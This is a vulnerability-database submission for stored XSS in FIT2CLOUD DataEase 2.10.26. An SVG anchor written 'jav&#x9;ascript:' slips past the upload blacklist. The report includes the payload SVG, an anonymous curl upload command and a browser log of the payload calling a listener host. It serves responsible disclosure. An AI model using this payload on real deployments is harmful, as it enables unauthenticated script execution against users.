Gửi #1035492: FIT2CLOUD DataEase (the vulnerable SVG validator lives in the in-repo `core/core-backend` static-resource server) audited at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime: production `CoreApplication.jar` v2.10.26); ththông tin

tiêu đềFIT2CLOUD DataEase (the vulnerable SVG validator lives in the in-repo `core/core-backend` static-resource server) audited at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime: production `CoreApplication.jar` v2.10.26); th
Mô tảStored XSS in DataEase through a structural bypass of the SVG content blacklist Vendor: FIT2CLOUD Affected versions: audited at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime: production `CoreApplication.jar` v2.10.26); the validator (`StaticResourceServer.validateSvgContent`, 19-substring blacklist) is the content fix shipped in 2.10.20 and is unchanged in shape at 2.10.26 Vulnerability class: Stored cross-site scripting through blacklist bypass (CWE-79); the upload path is unauthenticated per the separately reported suffix-whitelist authentication gap (CWE-434/CWE-306) Preconditions: Plant is anonymous on a default standalone deployment (the upload endpoint's missing authentication is the separately reported suffix-whitelist finding; no account, token, cookie or share link was used in the proof). The content bypass itself also applies to authenticated SVG upload surfaces guarded by the same validator. Victim side: one click on the anchor inside the served SVG document (top-level navigation to the direct link). Verified at runtime that the guard still rejects `<script>` and plain `javascript:` shapes. An uploaded SVG whose anchor `href` is written `jav&#x9;ascript:` passes the DataEase SVG content blacklist and executes as `javascript:` in the victim's browser on the DataEase origin: the validator scans entity-decoded attribute values for raw substrings, while the browser strips tab characters from the URL scheme before executing it. Data flow: multipart SVG body at `POST /de2api/staticResource/upload/{fileId ending in svg}` → DOM parse (`StaticResourceServer.java:201`) → attribute-value substring scan (`:282`, `:320-327`, 19 substrings) → stored `static-resource/{fileId}.svg.svg` → `GET /de2api/static-resource/{fileId}.svg.svg` served `image/svg+xml` from the DataEase origin → browser click executes `jav\tascript:` as `javascript:`. ### Affected interfaces | Interface | |---| | POST /de2api/staticResource/upload/f2p.svg — multipart part `file`, SVG body with `href="jav&#x9;ascript:..."`; anonymous on default standalone deployments | | GET /de2api/static-resource/f2p.svg.svg — trigger; served `image/svg+xml`; victim clicks the anchor inside the document | Primary route detail: ``` POST /de2api/staticResource/upload/f2p.svg HTTP/1.1 Content-Type: multipart/form-data; part `file` = <svg ...><a href="jav&#x9;ascript:fetch('http://<listener>/hit?...')"><text ...>click</text></a></svg> ``` ### Root cause 1. Parse-before-scan: `StaticResourceServer.java:201` builds a DOM from the uploaded bytes and the scan reads attribute values out of that DOM (`:282`) — scanned values are already entity-decoded, so the literal `'&#'` check at `:326` can never fire on a decoded value, and any banned substring can be split by a character reference (here: the tab in the scheme). 2. The 19-substring blacklist (`:320-327`) misses the whitespace-formatted scheme: `jav&#x9;ascript:fetch(...)` decodes to `jav\tascript:` — no `javascript:` substring and none of the 19 entries. The element whitelist (`dangerousTags`, `:261-264`) does not include `a`/`text`; the `on*` check (`:290`) inspects attribute names only; text content passes the text-node checks (`:347-387`). 3. Browsers normalize the other way: WHATWG URL parsing strips ASCII tab, LF and CR before scheme matching, so `jav\tascript:` executes as `javascript:` when the victim activates the anchor. 4. Serving side: the read is anonymous, `Content-Type` is `image/svg+xml`, and the CSP (`default-src * data: blob: 'unsafe-inline' 'unsafe-eval'`) does not block `javascript:` URLs. Missing guard: URL-valued attributes need scheme validation on the decoded, whitespace-stripped value against an allowlist (`http`, `https`, …), not substring denial on raw text. The scanner and the browser normalize in opposite directions, so the bypass does not depend on any missing keyword. Baseline: released production `CoreApplication.jar` (v2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245`), self-hosted on `127.0.0.1:18763`; test listener on `127.0.0.1:18952` logging every request; headless Chromium (101, local cache build) for the browser leg. No DataEase account or token was used anywhere. **1. Payload SVG (192 bytes stored):** ```xml <svg xmlns="http://www.w3.org/2000/svg"><a href="jav&#x9;ascript:fetch(&apos;http://127.0.0.1:18952/hit?de-f2-tab-bypass-click&apos;)"><text x="20" y="40" font-size="30">click</text></a></svg> ``` **2. Anonymous upload passes the guard:** ```sh $ curl -i -X POST 'http://127.0.0.1:18763/de2api/staticResource/upload/f2p.svg' \ -F '[email protected];type=image/svg+xml' HTTP/1.1 200 {"code":0,"msg":null,"data":null} # stored as static-resource/f2p.svg.svg, 192 bytes ``` **3. Served verbatim from the origin:** `GET /de2api/static-resource/f2p.svg.svg` → `200`, `Content-Type: image/svg+xml`, body = the entity-encoded payload above. **4. Browser execution (headless Chromium):** a wrapper page embeds the application-served SVG via `<object>` and dispatches a click on the anchor (the wrapper used `--disable-web-security` only so the parent page could reach into the SVG document to synthesize that click; the `javascript:` execution itself happens inside the SVG document the application served). The listener received: ``` REQ /hit?wrapper-dispatched (wrapper entered the SVG document and dispatched the click) REQ /hit?de-f2-tab-bypass-click (the payload's javascript: URL executed and reached out) ``` **5. Negative controls:** | Control | Body | Result | |---|---|---| | `<script>` payload | SVG containing `<script>fetch('.../hit?de-f2-negctl-script')</script>` | `{"code":40001,"msg":"DEException(code=40001, msg=SVG contains disallowed scripts or event handlers)"}` — rejected, nothing stored | | Plain `javascript:` payload | `href="javascript:fetch(...)"` | same `40001` rejection, nothing stored | | Benign SVG click | wrapper loads the stored benign SVG, same click path | listener saw only the wrapper marker — no execution | | Harness positive control | plain HTML page with inline `fetch('/hit?ctrl-html-script-exec')` | listener hit — the browser+listener chain can detect execution (rules out false negative) | The positive and negative payloads differ in exactly one variable — `jav&#x9;ascript:` versus `javascript:`/`<script>` — so the rejection of the known shapes and the acceptance of the entity/tab form isolate the structural gap. All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved. - **Vendor contact**: [email protected] (FIT2CLOUD security contact email) - **Status**: vendor notified via email 2026-10-09; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
Nguồn⚠️ https://github.com/dataease/dataease
Người dùng
 lucasg2g (UID 84737)
Đệ trình15/10/2026 07:34 (cách đây 23 ngày)
Kiểm duyệt06/11/2026 19:27 (23 days later)
Trạng tháiđược chấp nhận
Mục VulDB432071 [DataEase đến 2.10.27 SVG StaticResourceServer.java StaticResourceServer.validateSvgContent Tập lệnh chéo trang]
điểm20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!